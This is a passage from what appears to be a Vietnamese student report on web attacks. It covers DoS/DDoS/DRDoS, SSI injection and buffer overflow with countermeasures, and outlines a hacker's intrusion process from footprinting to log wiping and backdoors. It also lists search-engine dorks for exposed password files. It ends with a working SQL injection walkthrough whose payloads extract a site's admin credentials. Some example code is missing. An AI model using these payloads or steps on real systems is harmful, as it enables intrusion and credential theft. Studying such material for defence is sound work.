như vậy, kết nối vẫn tiếp tục mở. Nếu hacker gửi nhiều gói tin SYN đến máy chủ đến khi máy chủ không thể tiếp nhận thêm kết nối nào nữa, thì lúc này hệ thống đã bị phá vỡ. b) Tấn công vào băng thông + Kiểu tấn công thứ 1: Hacker hoàn toàn có khả năng làm ngập hệ thống, vì băng thông của hacker lớn hơn băng thông của máy đích. Kiểu tấn công này không bị hạn chế bởi tốc độ truyền mạng. Ví dụ 21: Hacker có một đường truyền tốc độ cao T1 ( 1.544- Mbps ) hay lớn hơn có thể dễ dàng phá vỡ một hệ thống có đường truyền 56Kbps. + Kiểu tấn công thứ 2: Kiểu tấn công này được dùng khi đường truyền mạng của hacker là quá thấp so với đường truyền của máy đích. Không giống như kiểu tấn công DoS truyền thống, kiểu tấn công vào băng thông lớn hơn sẽ lợi dụng những gói tin từ những hệ thống khác nhau cùng một lúc tiến đến hệ thống đích, khiến cho đường truyền của hệ thống đích không còn khả năng đáp ứng, máy chủ không còn khả năng nhận một gói tin nào nữa. Hình 9: Kiểu tấn công DoS vào băng thông Theo hình 9, tất cả các gói tin đi vào mạng máy tính qua một "Big-Pipe" ( ống dẫn lớn ), sau đó được router chia ra những "Small Pipe" (ống dẫn nhỏ) cho nhiều máy tính con tùy theo địa chỉ IP của gói tin. Nhưng nếu toàn bộ "Big-Pipe" bị làm ngập bằng những gói tin chỉ hướng đến 1 máy nhất định trong mạng máy tính con này, router đành phải chấp nhận loại bỏ phần lớn các packet, để chỉ còn lại số lượng vừa đủ đi qua "Small Pipe" của máy tính đó. Kiểu tấn công này sẽ loại máy đích ra khỏi Internet. Đây là phương pháp tấn công kiểu từ chối dịch vụ, nhưng không là DoS mà gọi là DDoS ( kiểu từ chối dịch vụ phân tán ). Nghĩa là cùng một lúc nhiều máy sẽ được phát động để gửi gói tin đến máy đích (mặc dù đường truyền của mỗi máy không cao nhưng nhiều đường truyền lại hợp thành một ống dẫn “Big Pipe”), làm cho máy đích không còn khả năng tiếp nhận gói tin và bị loại khỏi mạng Internet. c) Tấn công kiểu “DRDoS” (Distributed Reflection Denial of Service) (Thế hệ tiếp theo của DdoS): Hình 10: Tấn công kiểu DRDoS Bằng cách giả địa chỉ IP của máy đích, hacker sẽ cùng lúc gửi nhiều gói tin đến các hệ thống máy mạnh trên mạng, các hệ thống này khi nhận gói tin SYN giả này, chấp nhận kết nối và gửi trả một gói tin SYN/ACK để thông báo. Vì địa chỉ IP của gói tin SYN bị hacker sửa đổi thành địa chỉ IP máy đích nên những gói tin SYN/ACK sẽ được gửi về cho máy đích. Cùng một lúc nhận được nhiều gói tin, đường truyền của máy đích không đủ khả năng đáp ứng, hệ thống máy đích từ chối nhận bất kì gói tin nào và lúc này hệ thống máy đích đã bị sụp đổ. 2.5.2. Biện pháp phòng chống Kiểu tấn công từ chối dịch vụ gây nhiều khó khăn trong vấn đề bảo vệ cũng như điều tra tìm ra thủ phạm, bởi vì hầu hết hacker đã thay đổi địa chỉ IP của máy mình, nên rất khó xác định ai là thủ phạm. Để phòng chống khả năng khuyếch đại đường truyền, cần: + Huỷ khả năng quảng bá (broadcast) tại router biên. + Tăng kích thước hàng đợi kết nối kết quả: có thể phòng tránh khả năng tràn hàng đợi qua nhiều kết nối, nhưng cách này sử dụng nhiều tài nguyên. + Giảm thời gian thiết lập kết nối. + Dùng phần mềm phát hiện, phá hủy kiểu tấn công DoS. Hầu hết các hệ điều hành hiện nay đều hỗ trợ khả năng phát hiện và phòng chống kiểu tấn công SYNflood. Tuy nhiên cũng đã có những phần mềm được có khả năng tránh kiểu tấn công này. Ví dụ 22: Với Linux kernels 2.0.30 và về sau cài đặt một tùy chọn gọi là SYN Cookie, kernel có nhiệm vụ truy tìm và lưu vết những khả năng có thể xảy ra kĩ thuật SYN. Sau đó, kernel sẽ sử dụng một giao thức mã hoá như SYN cookie, cho phép người dùng hợp lệ của hệ thống tiếp tục kết nối đến hệ thống. Với WindowNT 4.0 trở về sau, sử dụng kĩ thuật backlog, mỗi khi hàng đợi kết nối không đủ đáp ứng, hệ thống tự động cung cấp tài nguyên cho hàng đợi, vì thế hàng đợi sẽ không bị phá vỡ. Ứng dụng cho phép máy con chỉ được thiết lập số kết nối tối đa theo qui định, tránh trường hợp hacker gửi cùng lúc nhiều yêu cầu gây tắc nghẽn. 2.6. TẤN CÔNG VÀO “CÂU LỆNH PHÍA SERVER” (server side include-SSI) SSI là đoạn mã được nhúng vào trong trang Web để yêu cầu trình chủ cung cấp thông tin ở một điểm nào đó trong trang. Ví dụ Dòng lệnh trên nhúng nội dung file “test.asp” vào trong trang Web. Tuy nhiên, SSI không phải được hỗ trợ trong hầu hết các trình chủ, Apache và IIS là hai trình chủ hỗ trợ SSI. Trang Web có sử dụng SSI thường được lưu dưới dạng .shtml hoặc .stm (là phần mở rộng của .html hay .htm) để báo hiệu cho trình chủ biết trang này có sử dụng SSI để tiết kiệm thời gian xử lí cho trình chủ (không mất thời gian tìm kiếm). Quá trình thực hiện xử lí một trang Web yêu cầu: Nếu không có bất kì chỉ thị nào khác, trình chủ chỉ gửi nội dung trang Web cho trình duyệt nhưng với một SSI, thì công việc tuần tự theo những bước như sau: + Trình chủ nhận dữ liệu và phân tích dữ liệu (tìm kiếm và phân loại những câu lệnh đặc biệt) để chỉ thị thực hiện + Dựa trên những câu lệnh mà trình chủ tìm thấy, trình chủ thực thi những câu lệnh đó để trả kết quả cho trình duyệt. + Trả kết quả về cho trình duyệt Có 3 khả năng thực hiện: + Nhận thông tin từ một file và chèn vào trong trang + Gán giá trị cho một số biến + Gọi chương trình CGI Hacker lợi dụng những ô nhập để chèn thêm vào đó nội dung một câu lệnh SSI. Ví dụ: //Thiết lập câu lệnh Select //Câu lệnh này di chuyển con trỏ đến dòng đầu tiên trong tập tin. //Hiển thị nội dung dòng đầu tiên. Biện pháp phòng chống: Với người quản trị, cấu hình lại trình chủ sao cho trình chủ không hỗ trợ SSI. Với người lập trình, kiểm tra kĩ nội dung dữ liệu gửi từ người dùng. Loại bỏ những kí tự như # -- !…Tuy nhiên điều này nên được thực hiện tại trình chủ, không nên kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình khách, vì khả năng thay đổi nội dung của trang Web. 2.7. TẤN CÔNG “TRÀN BỘ ĐỆM” (Buffer overflow) Khái niệm: Buffer overflow từng là lỗ hổng trong hệ thống bảo mật của UNIX nhiều năm nay, nhưng chỉ được công bố sau buổi thảo luận của Dr.Mudge trong tài liệu 1995 “Bằng cách nào viết một chương trình khai thác lỗ hổng Buffer Overflow” Kĩ thuật Buffer Overflow, cho phép một số lượng lớn dữ liệu được cung cấp bởi người dùng mà vượt quá lượng bộ nhớ cấp phát ban đầu bởi ứng dụng do đó gây cho hệ thống lâm vào tình trạng tràn bộ nhớ, thậm chí có thể bị chèn thêm một đoạn mã bất kì. Nếu ứng dụng được cấu hình để được thực thi như root thì người tấn công có thể thao tác như một nhà quản trị hệ thống của web server. Hầu hết những vấn đề đều phát sinh từ khả năng lập trình yếu kém của những nhà lập trình. Đơn cử là sự cẩu thả trong kiểm tra kích thước dữ liệu nhập vào. Ví dụ: Buffer chỉ được cấp phát 256 byte, nếu buffer nhận 257 kí tự do người dùng nhập vào, thì xảy ra lỗi tràn bộ đệm, vì máy tính cần không gian lưu trữ những byte dư ra, nó sẽ chứa lên những vùng nhớ kế cạnh và ghi đè lên những dữ liệu có sẵn tại đó. Còn có một bộ nhớ đệm khác trên bộ nhớ máy tính, dùng để lưu trữ địa chỉ cho lệnh máy kế tiếp sẽ thực thi khi gọi hàm. Vùng nhớ này được cấp phát trên stack, được gọi là con trỏ lệnh (instruction pointer). Ở ví dụ trên, sau khi đọc dữ liệu nhập vào từ người dùng, chương trình thực hiện lệnh in ra nội dung, con trỏ lệnh khi đó sẽ mang giá trị là địa chỉ vùng nhớ của lệnh in. Máy tính sẽ thực hiện các thao tác tuần tự: đọc dữ liệu nhập vào, lưu nó vào bộ đệm, kiểm tra con trỏ lệnh để biết lệnh thực thi kế tiếp, tìm địa chỉ vùng nhớ của lệnh in, đọc nội dung bộ đệm và in nó ra màn hình. Nếu lệnh tiếp theo là đoạn mã hacker chèn vào, thì sau khi chương trình thực hiện tràn bộ đệm, nó sẽ tìm đến địa chỉ đoạn mã của hacker để thực thi tiếp. Cách gây tràn bộ đệm qua ứng dụng web Các bước cơ bản của kỹ thuật tràn bộ đệm là: chuẩn bị bộ đệm dùng để làm tràn, xác định địa chỉ trả về, xác định địa chỉ của bộ đệm chứa shellcode, cuối cùng gọi thực thi chương trình bị tràn bộ đệm. Thông qua những ô nhập dữ liệu hacker có thể sử dụng một chuỗi string nhị phân có khả năng thực thi đoạn lệnh trên máy đích hoặc phá vỡ hệ thống do phải xử lí dữ liệu quá dài, vượt khả năng cho phép của hệ thống Biện pháp phòng chống: Người thiết kế Web cần phải kiểm tra kĩ kích thước dữ liệu trước khi dùng. Dùng Referer trong HTTP Header để kiểm tra yêu cầu có phải xuất phát từ máy người dùng. Xem xét tính bảo mật của mã nguồn các phần mềm mở. Sử dụng các vùng nhớ được cấp phát động. Cẩn thận khi sử dụng các vòng lặp để sao chép dữ liệu từ giữa các biến, cần đảm bảo giới hạn đã được kiểm tra. Cài đặt các bản sửa lỗi. Sử dụng các công cụ và hướng dẫn để đánh giá mức độ an toàn của chương trình, như Slint, rát, flawfinder. Chương 3: TỔNG KẾT QUÁ TRÌNH TẤN CÔNG CỦA HACKER 3.1.THU THẬP THÔNG TIN Ở MỨC HẠ TẦNG CỦA MỤC TIÊU Bước 1: FootPrinting (Thu thập thông tin): Cách này hacker làm khi muốn lấy lượng thông tin tối đa về máy chủ, doanh nghiệp, người dùng; bao gồm chi tiết về địa chỉ IP, Whois, DNS... - là những thông tin chính thức có liên quan đến mục tiêu. Công cụ hỗ trợ: UseNet, search engines (công cụ tìm kiếm), Edgar Any Unix client, nslookup Is -d , Sam spade, … Bước 2: Scanning (Quét thăm dò): Phần lớn thông tin quan trọng từ server có được từ bước này , bao gồm quét cổng, xác định hệ điều hành, .v.v.. để biết các port trên server, nghe đường dữ liệu. Các công cụ: fping, icmpenum Ws_ping ProPack, nmap, SuperScan, fscan nmap, queso, siphon. Bước 3: Enumeration (Liệt kê tìm lỗ hổng): Tìm kiếm tài nguyên được bảo vệ kém, hoặc tài khoản người dùng có thể sử dụng để xâm nhập, bao gồm các mật khẩu mặc định, các script và dịch vụ mặc định. Rất nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này. Các công cụ phụ trợ: null sessions, DumpACL, sid2user, OnSite Admin showmount, NAT Legion banner grabbing với telnet, netcat, rpcinfo. Bước 4: Gaining access (Tìm cách xâm nhập): Bây giờ hacker tìm cách truy cập vào mạng, bằng những thông tin có được ở ba bước trên. Phương pháp được sử dụng ở đây là: tấn công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay brute force (kiểm tra tất cả các trường hợp) password. Các công cụ: tcpdump, L0phtcrack readsmb, NAT, legion, tftp, pwdump2 (NT) ttdb, bind, IIS, HTR/ISM.DLL. Bước 5: Escalating privilege (Leo thang đặc quyền): Trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản nào đó, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách lấy mật khẩu của người quản trị, hoặc sử dụng lỗ hổng để leo thang đặc quyền. Công cụ: L0phtcrack, Ic_messages, getadmin, sechole. Bước 6: Pilfering (Dùng khi các file chứa pass bị sơ hở): Các máy tìm kiếm đựơc sử dụng để tìm phương pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an toàn khác có thể là đích cho hacker. Thông tin lấy từ bước trên đủ để ta định vị server và điều khiển server. Công cụ hỗ trợ: rhost, LSA Secrets user data, configuration files, Registry. Bước 7: Covering Tracks (Xoá dấu vết) : Sau khi đã có thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập, hoặc có biết cũng không tìm ra kẻ xâm nhập là ai. Xóa log. Công cụ: Zap, Event log GUI, rootkits, file streaming. Bước 8: Creating Backdoors (Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được dễ dàng hơn): Hacker để lại "Back Doors", tức là một cơ chế cho phép hacker truy nhập trở lại bằng con đường bí mật, không phải tốn nhiều công sức, bằng việc cài đặt Trojan hay tạo user mới (đối với tổ chức có nhiều user). Công cụ: các loại Trojan, keylog, creat rogue user accounts, schedule batch jobs, infect startup files, plant remote control services, install monitoring mechanisms, replace apps with Trojan. 3.2.KHẢO SÁT ỨNG DỤNG WEB Phương pháp khảo sát khá phổ biến, đó là Xem mã nguồn và lợi dụng các lỗi cho phép xem mã nguồn.để tìm phương thức tấn công phù hợp. Một số ngôn ngữ web thông dụng hiện nay có nhiều lỗi này như Active Server Pages (ASP), Common Gateway Interface (CGI), ColdFusion Server (CFM), Hypertext Preprocessor (PHP). Tìm các site bị lỗi này bằng cách dùng www.google.com, search từ khóa liên quan. Sử dụng allinurl: trước đoạn string đặc biệt cần kiếm, thì những trang Web tìm kiếm được chắc chắn sẽ có chuỗi cần tìm. Ví dụ: "allinurl:/advadmin" (không có ngoặc kép) thì chỉ liệt kê ra những trang có URL có dạng : Tìm các file trên thì thêm chữ type file: trước tên file cần tìm trên các chuyên khu web. Ví dụ: + Muốn tìm file mdb (đây là file chứa mật khẩu của các trang Web, dùng Access để mở) thì vào và đánh type file:mdb + Tìm file SAM (đây là file chứa Password của Windows NT, dùng L0phtCrack để Crack) thì vào và đánh type file:SAM + Tấn công vượt qua các cơ chế kiểm soát (authentication, authorization) Bao gồm các phương pháp như đoán mật khẩu, thay đổi thông tin cookies, các kĩ thuật directory traversal, leo thang đặc quyền, các phương pháp tấn công dựa vào SQL, SQL injection... + Tìm hiểu sâu về các chức năng của ứng dụng web Tìm hiểu cách thực hiện của các phần trong ứng dụng, đặc biệt như các order input, confirmation, order tracking. Ở đây ta có thể áp dụng các phương pháp như SQL Injection, input validation... + Tìm hiểu luồng di chuyển của thông tin Các thông tin tương tác giữa client và server, các thông tin tương tác với database. Hiện nay việc viết mã để thực hiện việc giao tiếp thông tin thường phải đảm bảo được tính hiệu quả (nhanh), và bảo mật (có thể sẽ chậm hơn). Thường thì tính hiệu quả được ưu tiên hơn do đó có thể sẽ phát sinh lỗi trong quá trình đó và giúp hacker có thể lợi dụng các lỗi như SQL input...để đoạt quyền điều khiển hệ thống. + Tấn công Khi đã thu thập và khảo sát kỹ càng đối tượng, hacker bắt đầu thực hiện tấn công nhằm xâm nhập vào hệ thống lấy thông tin, đưa thông tin xấu vào, dành quyền kiểm soát,… Còn nếu không thành công trong việc xâm nhập, thì Dos là cách thức cuối cùng mà hacker thường lựa chọn để làm cho hệ thống không thể hoạt đông được. Ví dụ kiểu tấn công SQL Injection bằng câu lệnh SELECT nhằm lấy tên đăng nhập và mật khẩu của admin (bằng cách thêm câu lệnh truy vấn trên URL): (Thử nghiệm tấn công vào trang - Tìm những trang web có khả năng bị lỗI SQL Injection: sử dụng từ khóa “allinurl”: allinurl:"shopdisplayproducts.asp?code= (Có thể là “id=” hoặc “cat=”) - Xem trang web có lỗi bằng cách thêm dấu nháy đơn (‘) vào sau giá trị “code=”: - Trang web có lỗi sẽ xuất hiện thông báo do dấu nháy gây ra: Bây giờ ta sẽ khai thác lỗi bằng cách thêm câu lệnh SQL vào sau dấu nháy: - Mục tiêu thứ nhất là lấy bảng đầu tiên trong CSDL: %20and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password information_schema.tables: chứa tất cả các bảng DL. - Lấy lần lượt các bảng con lại trong CSDL: sử dụng câu lệnh “not in” vớI %20and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('LeagueMaster2')))--sp_password bảng đầu tiên. Khi lấy được hết bảng trong CSDL: %20and%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20 ('LeagueMaster2','LeaguePoints','TournamentPermissions','ActContacts', 'AdminAccess','AdminAccessGroups','AdminUsers','AdminUsersAccess', 'AdminUsersLogins')))--sp_password Ta được thông báo: Tiếp theo, ta sẽ lấy các trường đầu tiên nằm trong các bảng, xem bảng nào chứa thông tin về admin. (Ở đây bảng cần tìm là “Adminusers”) %20and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('Adminusers')))--sp_password information_schema.columns: chứa thông tin tất cả các cột trong bảng Ta dùng lệnh “not in” để lấy cột tiếp theo trong bảng: %20and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('AdminUsers') and column_name not in ('userID')))--sp_password Các cột tiếp theo: %20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name= ('AdminUsers')%20and%20column_name%20not%20in%20('userID', 'displayName','login','password')))--sp_password Tìm tên đăng nhập và mật khẩu: '%20and%201=convert(int,(select%20top%201%20login%2b'/'%2bpassword%20from%20AdminUsers))--sp_password - Đến địa chỉ admin và thực hiên đăng nhập: - Đăng nhập thành công: - Click vào sự kiện “Submit Event”. Kết quả nhận được là một trang dùng để thêm thông tin vào cơ sở dữ liệu. Tài liệu tham khảo [1] ASP 3.0- Nguyễn Phương Loan, NXB Lao Động-Xã Hội. [2] Hacking Exposed- Stuart McClure, Joel Scambray, George Ku. Các website: [5] [6] www.hvaonline.net [7] [8] www.vnexpress.com [9] www.quantri mang.com [10] www.cert.org [11] www.owasp.org